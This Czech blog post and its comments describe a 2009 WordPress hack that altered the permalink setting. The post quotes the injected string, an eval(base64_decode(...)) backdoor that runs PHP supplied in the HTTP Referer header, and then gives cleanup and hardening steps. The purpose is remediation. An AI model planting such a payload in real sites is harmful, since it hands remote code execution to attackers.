Dneska mi přestaly zde na blogu fungovat permalinks – např. odkazy na přečtení celého článku. Chvíli jsem hledal v nastavení, jestli jsem se náhodou neuklikl, ale vše se zdálo být v pořádku, tak jsem začal googlit a přišel na to, že WordPress blogy byly hacknuty. K URL je vždy přidán kód:
%&(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_REFERER%5D))%7D%7D|.+)&%/
A jak z toho ven? Stačí, když zeditujete v MySQL databázi tabulku wp-options a v ní najdete sloupec option-name. Pokud jste například v phpMyAdmin zvolte tlačítko „Projít“. Najděte řádek permalink-structure. Když na něj kliknete, uvidíte, že je zde navíc výše zmíněný kód. Stačí jej umazat a nechat Vaše standardní formátování URL u článků. U mě to je např.
/%year%/%monthnum%/%day%/%postname%/
Můj WordPress je verze 2.7.1. Zkontrolujte si svoje WordPress weby, jestli jste také nebyli hacknuti, u mě to naštěstí zatím postihlo jen tento web.
EDIT: Vypadá to, že tento hack je způsoben nově zaregistrovanými uživateli, kteří si umí nastavit administrátorská práva a poté změnit permalink-structure. Jdetě proto do správy uživatelů a najděte toho, který má práva admin a byl zaregistrován jako poslední. U tohoto uživatele klikněte pravým tlačítkem a zkopírujte edit odkaz a ten otevřete v novém okně/panelu prohlížeče a zvyšte id v URL o 1. Uvidíte zvláštní kód – ten smažte a nastavte uživatele jako návštěvníka. Potom ho ve své administraci celého smažte.
Zdroje: http://bo.uzasne.cz/novinky/wordpress-byl-hacknut-zkontrolujte-sve-blogy.html
http://www.journeyetc.com/2009/09/04/wordpress-permalink-rss-problems/
- Dreem headband promo code 2020 = MMPRODAHG (20% off) - 3.10.2019
- Jak v Gmailu vrátit starý styl psaní e-mailů - 9.10.2013
- Jak nedělat webhosting aneb Kapusta.cz - 15.2.2011
Ahoj Marty,
to ti hackli zaheslovanou databázi? U mě jsou permalinks naštěstí v pohodě. Ale díky za návod. Kdyby se mi to taky přihodilo, nevěděl bych, co s tím mám dělat.
Hezký víkend přeje
Honza
Ahoj,
ani pořádně nevím, jak to provedli, ale vypadá to, že to je „globálnější“ a postihlo to docela dost blogů co jedou pod WordPressem.
Škoda, že jsi jen přepsal můj článek, možná stačilo napsat informaci o tom, že došlo k hacknutí a že jsi našel na webu návod, třeba u mě: http://bo.uzasne.cz/novinky/wordpress-byl-hacknut-zkontrolujte-sve-blogy.html
Odkazovat na zdroj je přinejmenším slušné!
Zcela jistě prospěšná informace, jen mi tam chybí informace o verzi WP které se to týká.
Marek Stejskal: Moje verze WP je 2.7.1, doplnil jsem to do článku.
Ondřej Baar: za neuvedení zdroje se omlouvám, čerpal jsem i od tebe. Včera jsem to psal ve spěchu, doplnil jsem další věci a zdroje. Ještě jednou promiň. Přiznávám se k chybě;-)
Když na Twitteru někteří začali naříkat, že mají hacknutý WordPress, zděsil jsem se a šel omrknout své weby. Nic jsem tam neviděl a když jsem se dostal na tento článek, tak jsem se musel hlasitě zasmát! Používat verzi WordPressu 2.7.1 v době, kdy je (a také z bezpečnostních důvodu vydaná) verze 2.8.4 může opravdu vůl (promiňte za to slovo, ale jinak to říci opravdu nejde). Nehledě na to, že na pidi blozích je možnost registrace dalších uživatelů naprostou blbostí!!!
Scotty: K upgradu jsem se ještě nedostal, ale tento hack se týká i novějších verzí WP.
Stačí trochu přemýšlet. Vždy aktualizujte na nejnovější verzi WP a mějte dlouhé heslo. Například moje heslo má přes 9 znaků a nemá nic společného s jménem, přítelkyní, bydlištěm – prostě nic. Dále doporučuji nepovolovat registraci nových uživatelů. Většinou jsou to roboti a tak je to zbytečné. Stačí jeden účet – ten Váš. Taky bych doporučil plugin Login LockDown, který chrání Vaše přihlášení. Já sám ho používám a člověk má na zadání hesla jen dva pokusy. Navíc pokud zadá špatné uživatelské jméno je zabanován hned. To je moje nastavení. Navíc přihlášení do administrace je povoleno jen na mojí IP adresu a celý web je buďto zaheslovaný, či obsahuje htaccess soubory pro zabezpečení (přesměrování spam robotů, zakázaní přístupu, sledování IP..).
To je můj blog. Zkuste to taky a budete mít blog v pořádku. Žádný hack, žádné spamy, žádné sledovací roboti (na sběr mailů a pod.)